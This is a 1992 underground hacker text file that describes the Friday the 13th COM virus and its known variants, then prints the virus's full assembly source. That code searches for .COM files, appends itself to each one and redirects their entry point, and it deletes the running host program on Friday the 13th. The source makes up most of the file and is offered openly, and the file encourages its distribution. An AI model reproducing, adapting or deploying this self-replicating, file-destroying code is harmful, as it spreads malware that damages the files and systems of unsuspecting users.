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- ********************************************************
- *
- Viruses: Friday the Thirteenth *
- *
- *
- Another Modernz Presentation *
- *
- by *
- Digital-demon *
- *
- (C)opyright March 12th, 1992 *
- *
- ********************************************************
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The original Friday The 13th COM virus first appeared in South
Africa in 1987. Unlike the Jerusalem (Friday the 13th) viruses, it
is not memory resident, nor does it hook any interrupts. This virus
only infects .COM files, but not COMMAND.COM. On each execution of
an infected file, the virus looks for two other .COM files on the C:
drive and one on the A: drive, if found they are infected. This virus
is extremely fast, and the only indication of propagation occurring is
the access light being on for the A: drive, if the current default drive
is C:. The virus will only infect a .COM file once. The files, after
infection, must be less than 64K in length.
On every Friday the 13th, if the host program is executed, it is
deleted.
Known variant(s) of Friday The 13th COM are:
Friday The 13th-B: same, except that it will infect every file in
the current subdirectory or in the system path if
the infected .COM program is in the system path.
Friday The 13th-C: same as Friday The 13th-B, except that the
message "We hope we haven't inconvenienced you"
is displayed whenever the virus activates.
Friday The 13th-D: Friday The 13th-D was received in September,
1991 from the NCSA. This variant adds 418 to
432 bytes to programs it infects. It will infect
all .COM programs, except COMMAND.COM, located in
the current directory whenever an infected .COM
program is executed. Infected programs will
have had their date and time in the disk directory
updated to the current system date and time when
infection occurred. The virus will be be
located at the end of the infected file. On
Friday The 13ths, the virus will delete any
infected program the user attempts to execute.
Friday The 13th-NZ: Received from Dr. Henry Wolfe of New Zealand
in October, 1991, Friday The 13th-NZ is a minor
variant of the Friday The 13th COM virus. It
infects all .COM files in the current directory
when an infected program is executed, adding 623
to 634 bytes to the file length. The actual
length of the viral code, however, is 350 bytes.
--------------------------------------------------------------------------------
The original 'Friday the 13th"
Also called - Munich Virus, Miami Virus
;-----------------------------------------------------------------------;
; THE METHOD OF INFECTION: ;
; SAVE FIRST 3 BYTES OF HOST TO SAVE AREA INSIDE OF VIRIUL SHELL ;
; APPEND VIRIUL SHELL TO END OF .COM FILE (ON A PARAGRAPH BOUNDARY!) ;
;-----------------------------------------------------------------------;
; ATTENTION! ;
; RESULTING FILE APPARENTLY MUST BE < 64K ;
; REMEMBER THE STACK IS AT THE TOP OF THE 64K FILE! WHERE SHELL RESIDES ;
; STACK MUST HAVE ROOM FOR VIRUS USE ;
;-----------------------------------------------------------------------;
CODE SEGMENT PUBLIC 'CODE' ;
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
;
ORG 100H ;SAME A .COM FILE FOR NOW
;
PUBLIC HOST_SIZE ;;
;
;-----------------------------------------------------------------------;
; JUMP AROUND VIRUS DATA AREA ;
;-----------------------------------------------------------------------;
BEGIN: JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; SHELL DATA AREA APPARENTLY FOLLOWS ;
;-----------------------------------------------------------------------;
HOST_3 DB ?,?,? ;FIRST 3 BYTES OF HOST
ID DB 'INFECTED',0 ;FYI ALREADY INFECTED ID
;
NEW_3 DB 0E9H ;TO REPLACE FIRST 3 BYTES OF HOST
OUR_BEGIN DW ? ;
;
HOST_TYPE DB '*.COM',0 ;TYPE OF FILES TO INFECT
;
DTA DB 21 DUP (?) ;USED BY DOS
DB ? ;FILE ATTRIBUTE
DW ? ;FILES TIME
DW ? ;FILES DATE
HOST_SIZE DW ? ;FILE SIZE
DW ? ;FILE SIZE
HOST_NAME DB 13 DUP (?) ;FILE NAME
;
COMMAND_COM DB 'COMMAND.COM',0 ;
COMMAND_LENGTH EQU $ - offset COMMAND_COM
;
;-----------------------------------------------------------------------;
; SAVE INCOMMING ENVIRONMENT AND SETUP WORKING ENVIRONMENT ;
;-----------------------------------------------------------------------;
CONTINUE: ;
PUSH CS ;SAVE HOST SEGMENT
PUSH AX ;SAVE SPACE FOR HOST offset
;
PUSH AX ;SAVE INCOMMING REGs
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH SI ;
PUSH DI ;
PUSH BP ;
PUSH DS ;! NOT ES !
;
MOV BP,SP ;SAVE HOST offset (IN STACK)
MOV word ptr [BP+16],100H ; (FOR LATER RETF TO HOST)
;
CALL DUMMY ;MOV AX,IP
DUMMY: POP AX ;
SUB AX,(offset DUMMY - offset BEGIN)
;
MOV CL,4 ;PASS CONTROL TO OURSELF WITH IP=100H
SHR AX,CL ;
MOV BX,CS ;
ADD AX,BX ;
SUB AX,10H ;
PUSH AX ;(OUR MODIFIED CS)
MOV AX,offset IN_CONTROL ;(OUR IP)
PUSH AX ;
RETF ;
;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
IN_CONTROL: ;
MOV AX,CS ;(INIT DS)
MOV DS,AX ;
;
CALL REPLICATE ;
CALL DO_STUFF ;DO STUFF HERE
;
JMP ALL_DONE ;PASS CONTROL TO HOST
;
;-----------------------------------------------------------------------;
; REPRODUCE ;
;-----------------------------------------------------------------------;
REPLICATE: ;
PUSH ES ;
;
PUSH DS ;
POP ES ;
;
MOV AH,1AH ;SET DTA
MOV DX,OFFSET DTA ;
INT 21H ;
;
MOV AH,4EH ;FIND FIRST
XOR CX,CX ;
MOV DX,OFFSET HOST_TYPE ;
INT 21H ;
JC R_90 ;
;
R_10: CALL ATTACH ;INFECT FOUND FILE
;
MOV AH,4FH ;FIND NEXT
INT 21H ;
JNC R_10 ;UNTIL NO MORE FOUND
;
R_90: POP AX ;
PUSH AX ;
;
PUSH DS ;
MOV DS,AX ;
MOV AH,1AH ;RESTORE DTA
MOV DX,0080H ;
INT 21H ;
POP DS ;
;
POP ES ;
RET ;
;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
ATTACH: PUSH ES ;IF 'COMMAND.COM' ATTEMPTED...
MOV AX,DS ;
MOV ES,AX ;
MOV SI,offset HOST_NAME ;
MOV DI,offset COMMAND_COM ;
MOV CX,COMMAND_LENGTH ;
CLD ;
REPE CMPSB ;
POP ES ;
JNE A_01 ;
JMP A_99 ;...DONT INFECT IT
;
A_01: MOV AX,3D02H ;OPEN R/W
MOV DX,offset HOST_NAME ;ie. '\COMMAND.COM'
INT 21H ;
JNC A_03 ;
JMP A_90 ;
;
A_03: MOV BX,AX ;BX=HANDLE
;
PUSH word ptr [HOST_3] ;SAVE
PUSH word ptr [HOST_3+2] ;SAVE
;
MOV AH,3FH ;READ FIRST 3 BYTES
MOV CX,3 ;
MOV DX,offset HOST_3 ;
INT 21H ;
JC A_80 ;
;
MOV AL,[NEW_3] ;IF ALREADY INFECTED...
CMP [HOST_3],AL ; (YOU CAN TELL BY THE JUMP INSTRUCTION
JNE A_05 ; AND BY THE SIZE OF THE JUMP)
MOV AX,[HOST_SIZE] ;
SUB AX,(offset OUR_END - offset BEGIN)
SUB AX,3 ;
CMP word ptr [HOST_3+1],AX ;
JE A_85 ;...DONT INFECT AGAIN
;
A_05: MOV AX,4202H ;POINT TO THE END
XOR CX,CX ;
XOR DX,DX ;
INT 21H ;
JC A_80 ;
;
OR AX,0FH ;ROUND UP TO NEXT PARAGRAPH
INC AX ;
SUB AX,3 ;(TAKE INTO ACOUNT JMP INSTRUCTION SIZ)
MOV [OUR_BEGIN],AX ;
;
MOV AX,4200H ;POINT TO FIRST 3 BYTES
XOR CX,CX ;
XOR DX,DX ;
INT 21H ;
JC A_80 ;
;
MOV AH,40H ;WRITE NEW 3 BYTES
MOV CX,3 ;
MOV DX,offset NEW_3 ;
INT 21H ;
JC A_80 ;
;
;REMEMBER, WERE ALREADY POINTING PAST THE FIRST 3 BYTES!
MOV AX,4201H ;POINT TO END (ROUNDED UP TO PARA)
XOR CX,CX ;
MOV DX,[OUR_BEGIN] ;
INT 21H ;
JC A_80 ;
;
MOV AH,40H ;APPEND VIRUS TO END OF FILE
MOV CX,(offset OUR_END - offset BEGIN)
MOV DX,offset BEGIN ;
INT 21H ;
JC A_80 ;
;
JMP A_85 ;CLOSE AND RETURN
;
A_80: ;CALL BEEP ;
;
A_85: POP word ptr [HOST_3+2] ;SAVE
POP word ptr [HOST_3] ;SAVE
;
MOV AH,3EH ;CLOSE FILE
INT 21H ;
;
A_90: JNC A_99 ;
;CALL BEEP ;
A_99: RET ;
;
;-----------------------------------------------------------------------;
; DO STUFF ;
;-----------------------------------------------------------------------;
DO_STUFF: ;
PUSH ES ;
;
MOV AH,2AH ;GET DATE
INT 21H ;
;
CMP DL,13 ;IF FRIDAY THE 13th...
JNE DS_90 ;
CMP AL,5 ;
JNE DS_90 ;
;
XOR AX,AX ;FIND OUT INFECTED NAME
MOV CX,32767 ;
XOR DI,DI ;
MOV ES,ES:[002CH] ;
CLD ;
REPNE SCASW ;
JNE DS_90 ;
ADD DI,2 ;SKIP '01 00'
;
PUSH DS ;DELETE SELF
PUSH ES ;
POP DS ;
MOV AH,41H ;
MOV DX,DI ;
INT 21H ;
POP DS ;
;
DS_90: POP ES ;
RET ;
;
;-----------------------------------------------------------------------;
; PASS CONTROL TO THE HOST PROGRAM ;
;-----------------------------------------------------------------------;
ALL_DONE: ;
MOV AX,word ptr [HOST_3] ;RESTORE HOSTS FIRST 3 BYTES
MOV ES:[100H],AX ;
MOV AL,[HOST_3+2] ;
MOV ES:[102H],AL ;
;
POP DS ;! NOT ES !
POP BP ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
RETF ;
;
OUR_END LABEL BYTE ;
;
CODE ENDS ;
END BEGIN ;
|-|-|-|-|-|-|=|=|=|=|=|=|=|=|=|=|=|-|-|-|-|-|-|-|-|-|-|-|=|=|=|=|=|=|
Disclaimer
~~~~~~~~~~
This publication is for informational purposes ONLY.
In no way are the above authors, or organizations, liable for the
use or misuse of the information contained herein. The Underground Agent
Society Inc., The Agents Underground Notebooks, UASI, UASI Magazine, The
Global Intelligence Center, and The Global Intelligence Underground are all
unregistered trademarks of UASI. Distribution to EVERYWHERE is ENCOURAGED!
Hellfire BBS, SANctuary Magazine, SANphilez, and SANsites are all
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unregistered trademarks of Modernz. Distribution of these text files is
allowed...and downright encouraged.
|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|=|-|
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